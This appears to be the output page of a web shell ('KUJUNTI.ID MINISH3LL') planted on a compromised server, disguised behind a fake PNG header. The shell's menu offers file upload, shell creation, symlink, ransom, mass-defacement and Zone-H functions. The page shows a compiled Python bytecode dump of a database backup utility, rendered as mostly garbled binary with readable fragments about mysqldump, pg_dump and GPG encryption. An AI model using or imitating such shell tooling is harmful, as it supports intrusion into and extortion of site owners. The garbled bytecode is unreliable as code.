\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/backup_utils.cpython-310.pyc


o

,��g{��@s^ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m	Z	ddl
mZmZm
Z
mZddlmZmZddlmZe�e�ZddlmZddlmZdZe�d	�zdd
lmZmZdZWn*e y�zdd
l!mZmZdZWne y�dZdZdZe�"d�YnwYnwd
d�Z#dd�Z$ddd�Z%dd�Z&dd�Z'ddd�Z(dS)�N)�datetime)�DatabaseConnection�
StorageTarget�	BackupJob�	BackupLog)�upload_to_storage�get_storage_space)�db)�format_size)� perform_incremental_mysql_backupTu\Artırımlı yedekleme için XtraBackup desteği bulundu. Artırımlı yedekler alınabilir.)�encrypt_file�decrypt_fileFuNGPG şifreleme modülleri yüklenemedi. Şifreleme devre dışı bırakıldı.c
Cs�z?|dvrddl}|j|||||dd�}|��WdS|dkr5ddl}|j|||||dd�}|��WdSt�d	|���Wd
Styh}	zt�d|�d|�d
|�d|�dt|	���
�WYd}	~	d
Sd}	~	ww)a�
    Test connection to a database server.
    
    Args:
        db_type (str): Database type (mysql, mariadb, postgresql)
        host (str): Database host
        port (int): Database port
        username (str): Database username
        password (str): Database password
        database (str): Database name
        
    Returns:
        bool: True if connection successful, False otherwise
    ��mysql�mariadbrN�)�host�port�user�password�database�connect_timeoutT�
postgresql)rrrr�dbnamer�Unsupported database type: FzDatabase connection error for � �:�/�: )�pymysql�connect�close�psycopg2�logger�error�	Exception�str)
�db_typerr�usernamerrr�connr"�e�r+�>/var/www/html/yedekledb24/DatabaseBackupMaster/backup_utils.py�test_database_connection-s@��,��r-c
Cs�z�tjdd�}|�|j���|��dd|j��d|j��d|j��d|j��dd	d
ddd
dddddd|j	d|g}|d}t
j|dd�}t�
|j�|jdkr^t�d|j�����WdSzIt|d��(}ddl}|�|d��}t�||�Wd�n1s�wYWd�n1s�wYt�|�t�||�t�d�WWdSty�}	zt�dt|	����WYd}	~	WdSd}	~	wwty�}	zt�dt|	����WYd}	~	dSd}	~	ww) a+
    Perform MySQL/MariaDB backup using mysqldump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    F)�delete�	mysqldumpz--host=z--port=z--user=z--password=z--single-transactionz--quickz
--routinesz
--triggersz--eventsz--add-drop-tablez--add-drop-databasez--create-optionsz--extended-insertz
--compressz--max-allowed-packet=1Gz--databasesz-r�.gzT)�capture_outputrzmysqldump error: �rbN�wbz9Compressed MySQL backup file, reducing size significantlyz Could not compress backup file: zMySQL backup error: )�tempfile�NamedTemporaryFile�writer�encoder!rrr(r�
subprocess�run�os�unlink�name�
returncoder#r$�stderr�decode�open�gzip�shutil�copyfileobj�remove�move�infor%�warningr&)
�db_conn�	temp_file�pwd_file�cmd�compressed_file�result�f_inrA�f_outr*r+r+r,�perform_mysql_backup\sf



�
���
�����rP�scriptc"Cs�|dkr	t||�S�z�zddl}d}Wn#ty6zddl}d}Wnty3t�d�YYWdSwYnw|rJ|j|j|j|j	|j
|jdd�}nd	|j�d
|j�d|j�d|j	�d
|j
�d�}|�|�}|��}|rr|�
d�n|�
d�dd�|��D�}	t|ddd���}
|
�d|j�d��|
�dt���d��d��|
�d|j�d��|	D�]�}t�d|���|r�|�
d|�d��n	|�
d|�d��|��}dd�|D�}
|
�d |�d!|�d��|r�|�
d"|�d#��n	|�
d"|�d#��|��}|�r|d�r|
�|d�d$��n=|
�d%|�d&��t|�D]*\}\}}|t|�d'k�r:|
�d(|�d)|�d*���q|
�d(|�d)|�d+���q|
�d,�d-�d.d�|
D��}|�rg|�
d/|�d0|�d1��n|�
d/|�d0|�d1��|��}|�r.|
�d2|�d3��d4}tdt|�|�D]�}||||�}|
�d5|�d6|�d7��t|�D]\}}g}|D]S}|du�r�|�d8��q�t|t��r�|�d9d:�}|�d9|�d9���q�t|t��r�|�d9|�d��d9���q�t|t��r�|�|�r�d;nd<��q�|�t|���q�d-�|�}|t|�d'k�r|
�d=|�d>���q�|
�d=|�d?���q�|
�d@��q�|
�d+�q�|
�dA�|�rB|�
dB�n|�
dB�|��}|D]@\}}}|�r�|
�dC|�dD|�d+��|
�dE|�dF��|
�dG|�dHdI��dJ|�dK��|
�dL�|
�|�d+��|
�dL��qM|
�dM�Wd�n	1�s�wY|��|��t�dN|���WdSt �y�} zt�dOt| ����ddl!}!t�|!�"��WYd} ~ dSd} ~ ww)Pa�
    Perform Microsoft SQL Server backup.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        method (str): Backup method: 'script' (Python script extraction) or 
                      'sqlcmd' (direct BACKUP DATABASE command using sqlcmd)
        
    Returns:
        bool: True if backup successful, False otherwise
    �sqlcmdrNTFz=Neither pymssql nor pyodbc is installed. Cannot backup MSSQL.i)�serverrrrr�timeoutz.DRIVER={ODBC Driver 17 for SQL Server};SERVER=�,z
;DATABASE=z;UID=z;PWD=z;Connection Timeout=1800zPSELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'cS�g|]}|d�qS�rr+)�.0�tabler+r+r,�
<listcomp>��z(perform_mssql_backup.<locals>.<listcomp>�wzutf-8)�encodingz-- MSSQL Database: z Backup
z-- Generated by yedekleDB24 on z%Y-%m-%d %H:%M:%Sz

zUSE [z];
GO

zBacking up table: zRSELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'z' ORDER BY ORDINAL_POSITIONcSrVrWr+�rX�colr+r+r,rZ�r[zIF OBJECT_ID('[z#]', 'U') IS NOT NULL
  DROP TABLE [z$SELECT OBJECT_DEFINITION(OBJECT_ID('z'))z;
GO

zCREATE TABLE [z] (
�z  [z] z,
�
z);
GO

�, cSsg|]}d|�d��qS)�[�]r+r^r+r+r,rZszSELECT z FROM [rdz-- Inserting data into [z]
i�z
INSERT INTO [z] (z	) VALUES
�NULL�'z''�1�0�(z);
z),
z
GO

z/-- Stored Procedures, Functions, and Triggers

a
                    SELECT name, type_desc, OBJECT_DEFINITION(object_id) AS definition
                    FROM sys.objects
                    WHERE type IN ('P', 'FN', 'TF', 'TR')
                    AND OBJECTPROPERTY(object_id, 'IsMSShipped') = 0
                z-- rzIF OBJECT_ID('z', '') IS NOT NULL
z	    DROP �_rz [z];
zGO

z!-- Backup completed successfully
z'MSSQL backup completed successfully to zMSSQL backup error: )#�perform_mssql_backup_sqlcmd�pymssql�ImportError�pyodbcr#r$r rrr(rr�cursor�execute�fetchallr@r6r�now�strftimerF�fetchone�	enumerate�len�join�range�append�
isinstancer&�replace�boolr!r%�	traceback�
format_exc)"rHrI�methodrl�use_pymssqlrnr)�conn_strro�tables�frY�columns�column_names�create_stmt�i�col_name�col_type�cols_str�rows�
batch_size�batch�j�row�values�val�escaped_val�
values_str�objects�obj_name�obj_type�obj_defr*r}r+r+r,�perform_mssql_backup�s�


���
�.








 

��{��r�c

Cs�z�tj�|�}tj|dd�|�d�stj�|�dd}d|j�d|�d|j�d�}tj�t�	�d	|j�d
t
t����d��}t|d��
}|�
|�Wd
�n1sUwYgd�}d
}|D]}tj�|�rn|}nqb|sxt�d�d}|d|j�d|j��d|jd|jd|dg
}	t�d|���tj|	ddd�}
tj�|�r�t�|�|
jdkr�t�d|
j���WdSt�d|���WdSty�}zt�dt|����dd
l}t�|���WYd
}~dSd
}~ww)a8
    Perform Microsoft SQL Server backup using sqlcmd and native BACKUP DATABASE command.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    T��exist_okz.bakrz
        BACKUP DATABASE [z] 
        TO DISK = N'z4' 
        WITH NOFORMAT, NOINIT, 
        NAME = N'z@_backup', 
        SKIP, NOREWIND, NOUNLOAD, STATS = 10
        �backup_rj�.sqlr\N)z/opt/mssql-tools/bin/sqlcmdz/usr/bin/sqlcmdrRz5sqlcmd not found. Please install mssql-tools package.rRz-SrUz-Uz-Pz-iz-bz%Running MSSQL backup using sqlcmd to )r1�textzsqlcmd error: Fz2MSSQL backup via sqlcmd completed successfully to zMSSQL sqlcmd backup error: )r:�path�dirname�makedirs�endswith�splitextrrwr4�
gettempdir�int�timer@r6�existsr#r$rrr(rrFr8r9rDr=r>r%r&r}r~)
rHrI�
backup_dir�backup_command�sql_filer��sqlcmd_paths�sqlcmd_pathr�rK�processr*r}r+r+r,rkisb
���*	��
�


��rkc	
CsLz�tj��}|j|d<t|j�|d<|j|d<|j|d<|j|d<d}|j	rOd|j	�d�}tj
�|�rB|}t�
d	|j	�d
|���n
t�d|j	�d|�d
��|dddddddd|g	}tj||dd�}|jdkr�|j��}t�d|���d|vr�d|vr�t�d�WdSWdSty�}zt�dt|����WYd}~dSd}~ww) a&
    Perform PostgreSQL backup using pg_dump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    �PGHOST�PGPORT�PGUSER�
PGPASSWORD�
PGDATABASE�pg_dumpz/usr/lib/postgresql/z/bin/pg_dumpzUsing PostgreSQL z specific pg_dump: zPostgreSQL z pg_dump not found at z, falling back to defaultz--format=customz--blobsz--createz--cleanz--if-existsz	--verbosez--compress=9z--file=T)�envr1rzpg_dump error: zserver versionzclient versionz[PostgreSQL version compatibility issue detected. Please set the correct PostgreSQL version.FzPostgreSQL backup error: N)r:�environ�copyrr&rr(rr�
pg_versionr�r�r#rFrGr8r9r=r>r?r$r%)	rHrIr��pg_dump_cmd�version_specific_cmdrKrM�	error_msgr*r+r+r,�perform_postgresql_backup�sJ




�


��r�c,
Cs�ddl}t��}|j}t|jdd�}�z�t�d|���tj�	|j
�}|spd|��}t�|�||_t
j�|�t
j��|rmzddlm}||j�WWd	Styl}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	Stj�	|j�}
|
s�d
|��}t�|�||_t
j�|�t
j��|r�zddlm}||j�WWd	Sty�}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	Sd}z(t|
�\}}
|
dkr�||
dnd}|dkr�d
|
j�d|d�d�}t�|�Wnt�y
}zdt|���}t�|�WYd}~nd}~wwt���d�}|jdv�r5|j�d|�d�}|jdk�r4d|j�d|�d�}n	|j�d|�d�}tj�t �!�|�}d	}d}t"|d��rX|j#�rX|j#}||_#d}|jdv�r�|dk�r�t$�r�t�d|�d|j���|dk�r�tjj%|jdd��&tj'�(���)�}|�r�|j}||_*t�d|�d ��n)|d!k�r�tjj%|jddd"��&tj'�(���)�}|�r�|j}||_*t�d#|�d$��t+||||�}|�r�|�,dd%�}n�t-||�}n�|jd&k�r�|dk�r�t�|�d'��d}||_#t.||�}n�|jd(k�r<|dk�rt�|�d)��d}||_#t"|d*��r/|j/d+k�r/t�d,�t0||d+d-�}n[t�d.�t0||d/d-�}nNd0|j��}t�|�||_t
j�|�t
j��|�r�zddlm}||j�WWd	St�y�}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	S|�s�d1}t�|�||_t
j�|�t
j��|�r�zddlm}||j�WWd	St�y�}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	Stj�1|�}d}d2}d	}t"|d3��r�|j2�r�zztj�1|�}t�d4|j3���t4j5||j3d5�}|�rfzt�6|�WnY|}|j3d6k�r!|d77}n|j3d8k�r,|d97}n
|j3d:k�r6|d;7}tj�1|�}|||d}d<|d�d=�}d>}|}t�d?t7|��d@�dAt7|��dB|d�dC��Wnt�y�}zt�dDt|����dE}WYd}~nd}~wwd}d2} d	}!t8�r6t"|dF��r6|j9�r6z||j:dGk�r�|j;�r�t<||j;|dHdI�}dJ} d>}!nF|j:dKk�r�|j=�r�ddLl>m?}"|"j�	|j=�}#|#�r�|#j@�r�t<||#j@g|dHdM�}dN|#j�dO�} d>}!nt�dP|�dQ��n	t�dR|�dQ��|�rzt�6|�WnY|}|dH7}tj�1|�}Wnt�y5}zt�dSt|����dT} WYd}~nd}~ww�zOz�|
jAdUk�r�zbtj�B|�d}$tj�Ctj�dV���s^tjDtj�dV�d>dW�ddlE}%tj�dV|�}&|%�F||&�t�dX|&���z	t�dY�|&}'Wnt�y�}(zt�dZt|(����|&}'WYd}(~(nd}(~(wwWn)t�y�})zt�d[t|)����tG|
||�}'WYd})~)nd})~)wwtG|
||�}'d|_Hg}*|*�Id\�|�r�|*�I|�| �r�|*�I| �|�r�|*�I|�d]�|*�|_|'|_J||_Kt"|d^��r|!|_L|!�r|j:nd|_:Wnlt�yx}z_d_t|���}t�|�||_t
j�|�t
j��|�r]z
ddlm}||j�Wnt�y\}	zt�dt|	����WYd}	~	nd}	~	wwWYd}~Wz	t�6|�WWd	SYWd	Sd}~wwWzt�6|�WnYn
zt�6|�WwYwt�M�|_Nt��|}+|+|_Ot
j�|�t
j��t�d`|�da|+db�dc��|�r�zddlm}||j�WWd>St�y�}	zt�dt|	����WYd}	~	Wd>Sd}	~	wwWd>St�yM}zRd`|�ddt|���}t�|�||_t
j�|�t
j��|�rBz
ddlm}||j�Wnt�yA}	zt�dt|	����WYd}	~	nd}	~	wwWYd}~d	Sd}~ww)ez�
    Run a backup job.
    
    Args:
        job (BackupJob): Backup job to run
        send_email (bool): Whether to send email notification
        
    Returns:
        bool: True if backup successful, False otherwise
    rN�failed)�job_id�statuszStarting backup job: z&Database connection not found for job )�send_backup_notificationz#Failed to send email notification: Fz!Storage target not found for job �d�
zWarning: Storage target z has less than 10% free space (z.1fz% remaining)zCould not check storage space: z
%Y%m%d_%H%M%Srrjr�r�mariadb_z.dump�full�
backup_methodzPerforming z backup using XtraBackup for �incremental�successzUsing last backup ID z! as parent for incremental backup�differential)r�r�r�zUsing last full backup ID z" as parent for differential backupz
.xb.tar.gzrzA backup not supported for PostgreSQL, falling back to full backup�mssqlz< backup not supported for MSSQL, falling back to full backup�mssql_backup_methodrRz$Using sqlcmd method for MSSQL backup)rz+Using Python script method for MSSQL backuprQrzBackup creation failed��compress_backupz"Applying compression with format: )�compression_type�zipz.ziprAr0ztar.gzz.tar.gzu (Sıkıştırma: z%)Tz"Compression successful. Original: rbzCompressed: z	, Ratio: �%zFailed to compress backup: u (Sıkıştırma BAŞARISIZ)�encrypt_backup�	symmetricz.gpg)�
passphrase�output_fileu" (GPG ile şifrelenmiş, simetrik)�
asymmetric)�
EncryptionKey)�
recipientsr�u" (GPG ile şifrelenmiş, anahtar: �)z!Encryption key not found for job z, skipping encryptionz)Invalid encryption configuration for job zFailed to encrypt backup: u0 (Şifreleme BAŞARISIZ - şifrelenmemiş yedek)�ftp�database_backupsr�zSaved local backup copy to uFFTP yükleme işlemi atlanıyor (potansiyel zaman aşımı sorunları)zThreaded FTP upload error: zLocal backup error: zBackup completed successfullyz. �	encryptedzFailed to upload backup: zBackup job z completed successfully in z.2fz secondsz	 failed: )Prr�r<r�idr#rFr�query�get�database_idr$�messager	�session�add�commit�email_utilsr�r%r&r�
storage_idrrGrrrsr'rr:r�rwr4r��hasattrr��incremental_backup_support�	filter_by�order_by�	timestamp�desc�first�
parent_log_idrr{rPr�r�r��getsizer�r��database_compression�
compress_filerDr
�encryption_supportr��encryption_type�encryption_passphraser�encryption_key_id�modelsr��email�storage_typer�r�r�rB�copy2rr�ry�backup_file�backup_sizer��utcnow�last_run�duration),�job�
send_email�dt�
start_time�job_name�
backup_logrH�msgr��	email_err�storage�storage_warning�
free_space�total_space�percent_freer*r��backup_filenamerI�backup_successr�r��last_backup�last_full_backupr�rL�compression_message�
compressed�
original_size�compressed_size�compression_ratio�encrypted_file�encryption_messager�r��key�backup_filename_no_extrB�local_backup_path�remote_path�
thread_err�	local_err�
message_partsr�r+r+r,�
run_backup�s�


���


���
����
���
���





���

����

���������
�����



�

 ������

���

 ����r)rQ)T))r:r�r8r4�loggingr�rBrA�	threadingrr�rrrr�
storage_utilsrr�appr	�	getLogger�__name__r#�utilsr
rr�rF�encryption_utils_simplifiedrr
r�rm�encryption_utilsrGr-rPr�rkr�rr+r+r+r,�<module>sP

���/
IERB

© KUJUNTI.ID